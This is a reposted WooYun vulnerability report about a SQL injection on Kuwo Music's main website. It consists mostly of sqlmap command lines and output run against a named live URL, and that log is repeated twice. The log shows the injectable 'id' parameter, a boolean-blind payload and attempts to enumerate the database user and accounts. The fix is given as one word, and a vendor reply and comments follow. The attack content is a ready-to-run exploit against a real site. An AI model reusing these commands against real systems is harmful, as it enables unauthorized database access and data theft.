酷我主站一枚SQL注入root权限

admin 2017年5月3日01:18:00评论268 views字数 217阅读0分43秒阅读模式
摘要

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

漏洞概要 关注数(20) 关注此漏洞

缺陷编号: WooYun-2016-207432

漏洞标题: 酷我主站一枚SQL注入root权限

相关厂商: 酷我音乐

漏洞作者: 奶嘴

提交时间: 2016-05-11 12:24

公开时间: 2016-06-25 17:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php+数字类型注射 数据库账户权限过高

1人收藏


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

RTRT

详细说明:

系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。

版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

存储空间不足,无法处理此命令。

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:05:13

[12:05:14] [INFO] testing connection to the target URL

[12:05:15] [INFO] testing if the target URL is stable

[12:05:15] [INFO] target URL is stable

[12:05:15] [INFO] testing if GET parameter 'id' is dynamic

[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic

[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be

injectable (possible DBMS: 'MySQL')

[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp

ecific for other DBMSes? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL' extending

provided level (1) and risk (1) values? [Y/n] n

[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[12:05:26] [WARNING] reflective value(s) found and filtering out

[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER

E or HAVING clause' injectable (with --string="/u5f80/u671f/u9884/u6f14/u8282/u7

6ee")

[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B

Y or GROUP BY clause'

[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[12:05:33] [INFO] testing 'MySQL inline queries'

[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'

[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl

ease wait..................

[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo

nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or

more)

[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'

[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[12:05:40] [INFO] automatically extending ranges for UNION query injection techn

ique tests as there is at least one other (potential) technique found

[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal

se positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any

)? [y/N] n

sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re

quests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:07:20] [INFO] testing MySQL

[12:07:21] [INFO] confirming MySQL

[12:07:22] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.2

[12:07:22] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 51 times

[12:07:22] [INFO] fetched data logged to text files under 'C:/Users/Administrato

r/.sqlmap/output/www.kuwo.cn'

[*] shutting down at 12:07:22

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --current-user

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:07:32

[12:07:33] [INFO] resuming back-end DBMS 'mysql'

[12:07:33] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:07:34] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[12:07:34] [INFO] fetching current user

[12:07:34] [INFO] retrieving the length of query output

[12:07:34] [INFO] retrieved:

[12:07:34] [WARNING] reflective value(s) found and filtering out

20

[12:07:57] [INFO] retrieved:

current user: ''

[12:07:57] [INFO] fetched data logged to text files under 'C:/Users/Administrato

r/.sqlmap/output/www.kuwo.cn'

[*] shutting down at 12:07:57

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --users

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:08:18

[12:08:18] [INFO] resuming back-end DBMS 'mysql'

[12:08:18] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:08:19] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[12:08:19] [INFO] fetching database users

[12:08:19] [INFO] fetching number of database users

[12:08:19] [INFO] retrieved:

[12:08:19] [WARNING] reflective value(s) found and filtering out

[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis

ed to try a switch '--no-cast' or switch '--hex'

[12:08:20] [CRITICAL] unable to retrieve the number of database users

[12:08:20] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 3 times

[*] shutting down at 12:08:20

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --users

漏洞证明:

系统无法在消息文件中为 Application 找到消息号为 0x2350 的消息文本。

版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

存储空间不足,无法处理此命令。

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:05:13

[12:05:14] [INFO] testing connection to the target URL

[12:05:15] [INFO] testing if the target URL is stable

[12:05:15] [INFO] target URL is stable

[12:05:15] [INFO] testing if GET parameter 'id' is dynamic

[12:05:16] [WARNING] GET parameter 'id' does not appear dynamic

[12:05:16] [INFO] heuristic (basic) test shows that GET parameter 'id' might be

injectable (possible DBMS: 'MySQL')

[12:05:16] [INFO] testing for SQL injection on GET parameter 'id'

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads sp

ecific for other DBMSes? [Y/n] y

for the remaining tests, do you want to include all tests for 'MySQL' extending

provided level (1) and risk (1) values? [Y/n] n

[12:05:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[12:05:26] [WARNING] reflective value(s) found and filtering out

[12:05:32] [INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHER

E or HAVING clause' injectable (with --string="/u5f80/u671f/u9884/u6f14/u8282/u7

6ee")

[12:05:33] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER B

Y or GROUP BY clause'

[12:05:33] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'

[12:05:33] [INFO] testing 'MySQL inline queries'

[12:05:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'

[12:05:34] [WARNING] time-based comparison requires larger statistical model, pl

ease wait..................

[12:05:40] [CRITICAL] considerable lagging has been detected in connection respo

nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or

more)

[12:05:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'

[12:05:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'

[12:05:40] [INFO] automatically extending ranges for UNION query injection techn

ique tests as there is at least one other (potential) technique found

[12:05:46] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[12:05:50] [INFO] checking if the injection point on GET parameter 'id' is a fal

se positive

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any

)? [y/N] n

sqlmap identified the following injection point(s) with a total of 77 HTTP(s) re

quests:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:07:20] [INFO] testing MySQL

[12:07:21] [INFO] confirming MySQL

[12:07:22] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL >= 5.0.2

[12:07:22] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 51 times

[12:07:22] [INFO] fetched data logged to text files under 'C:/Users/Administrato

r/.sqlmap/output/www.kuwo.cn'

[*] shutting down at 12:07:22

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --current-user

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:07:32

[12:07:33] [INFO] resuming back-end DBMS 'mysql'

[12:07:33] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:07:34] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[12:07:34] [INFO] fetching current user

[12:07:34] [INFO] retrieving the length of query output

[12:07:34] [INFO] retrieved:

[12:07:34] [WARNING] reflective value(s) found and filtering out

20

[12:07:57] [INFO] retrieved:

current user: ''

[12:07:57] [INFO] fetched data logged to text files under 'C:/Users/Administrato

r/.sqlmap/output/www.kuwo.cn'

[*] shutting down at 12:07:57

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --users

_

___ ___| |_____ ___ ___ {1.0-dev-nongit-20160227}

|_ -| . | | | .'| . |

|___|_ |_|_|_|_|__,| _|

|_| |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual

consent is illegal. It is the end user's responsibility to obey all applicable

local, state and federal laws. Developers assume no liability and are not respon

sible for any misuse or damage caused by this program

[*] starting at 12:08:18

[12:08:18] [INFO] resuming back-end DBMS 'mysql'

[12:08:18] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

---

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=26 AND 1997=1997

---

[12:08:19] [INFO] the back-end DBMS is MySQL

back-end DBMS: MySQL 5

[12:08:19] [INFO] fetching database users

[12:08:19] [INFO] fetching number of database users

[12:08:19] [INFO] retrieved:

[12:08:19] [WARNING] reflective value(s) found and filtering out

[12:08:20] [WARNING] in case of continuous data retrieval problems you are advis

ed to try a switch '--no-cast' or switch '--hex'

[12:08:20] [CRITICAL] unable to retrieve the number of database users

[12:08:20] [WARNING] HTTP error codes detected during run:

500 (Internal Server Error) - 3 times

[*] shutting down at 12:08:20

C:/Python27/sqlmap>sqlmap.py -u "http://www.kuwo.cn/hsy/hz/wdj/zhibotest.jsp?id=

26" --threads 10 --users

修复方案:

过滤

版权声明:转载请注明来源 奶嘴@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-05-11 17:37

厂商回复:

感谢对酷我的支持关注,我们将尽快进行修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-06-25 19:05 | Mr_Java ( 普通白帽子 | Rank:170 漏洞数:43 | 高三党,当,档,裆!)

    0

    6rank 这样真的好吗?

  2. 2016-06-25 21:50 | 奶嘴 ( 普通白帽子 | Rank:414 漏洞数:110 | 17岁的毛孩 有些厂商故意加你好友,和你聊...)

    0

    酷我基本都是6

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin